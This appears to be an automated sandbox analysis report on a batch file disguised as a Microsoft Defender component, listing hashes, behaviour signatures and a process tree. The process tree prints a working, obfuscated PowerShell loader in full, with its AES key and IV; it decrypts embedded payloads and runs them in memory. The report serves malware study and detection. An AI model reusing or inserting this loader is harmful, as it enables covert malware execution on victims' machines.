8283f48cec6ebef1bdd41cfd9769f11db127ff431a71002b25112bb79b0b0122

Analysis

max time kernel
15s
max time network
17s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:38

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General

Target

MpDefenderCoreProtection.bat
Size

3.8MB
MD5

8e550a5c4dfd929f9569d55f70eae366
SHA1

4d594deeeb29fd8501e0f81a351efe4b9220b939
SHA256

8283f48cec6ebef1bdd41cfd9769f11db127ff431a71002b25112bb79b0b0122
SHA512

d00a931f7c388589a0f267737c47a7fb348cb2eb457daf15d582b533301513a3eda0e190eb23fe7aa19fd81714d5f90a537e2382b574cbd87bdc964823bab92d
SSDEEP

49152:yir7trkN31WUqslOGw9m1YmK2CalCFp0+UR:yP

Score

1^/10

Malware Config

Signatures

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 2880	2252	cmd.exe	32
PID 2252 wrote to memory of 2880	2252	cmd.exe	32
PID 2252 wrote to memory of 2880	2252	cmd.exe	32
PID 2880 wrote to memory of 2884	2880	net.exe	33
PID 2880 wrote to memory of 2884	2880	net.exe	33
PID 2880 wrote to memory of 2884	2880	net.exe	33
PID 2252 wrote to memory of 2752	2252	cmd.exe	34
PID 2252 wrote to memory of 2752	2252	cmd.exe	34
PID 2252 wrote to memory of 2752	2252	cmd.exe	34
PID 2252 wrote to memory of 2728	2252	cmd.exe	35
PID 2252 wrote to memory of 2728	2252	cmd.exe	35
PID 2252 wrote to memory of 2728	2252	cmd.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\MpDefenderCoreProtection.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/hTAPReKWMaGUPsxvh8SiiR41fumgY/9sRHXfHkctYs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6MgLmE5FNbYAX6X+qh2cDQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $isHBU=New-Object System.IO.MemoryStream(,$param_var); $ypwny=New-Object System.IO.MemoryStream; $uyyTu=New-Object System.IO.Compression.GZipStream($isHBU, [IO.Compression.CompressionMode]::Decompress); $uyyTu.CopyTo($ypwny); $uyyTu.Dispose(); $isHBU.Dispose(); $ypwny.Dispose(); $ypwny.ToArray();}function execute_function($param_var,$param2_var){ $eMguq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $kekMw=$eMguq.EntryPoint; $kekMw.Invoke($null, $param2_var);}$sSYKO = 'C:\Users\Admin\AppData\Local\Temp\MpDefenderCoreProtection.bat';$host.UI.RawUI.WindowTitle = $sSYKO;$McaeJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sSYKO).Split([Environment]::NewLine);foreach ($NljuN in $McaeJ) { if ($NljuN.StartsWith('ktRBTENuIsvsRLWHoTWR')) { $MZjQx=$NljuN.Substring(20); break; }}$payloads_var=[string[]]$MZjQx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2728-4-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2728-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2728-9-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-8-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-6-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download
memory/2728-10-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-11-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp

Filesize
4KB

Download
memory/2728-12-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download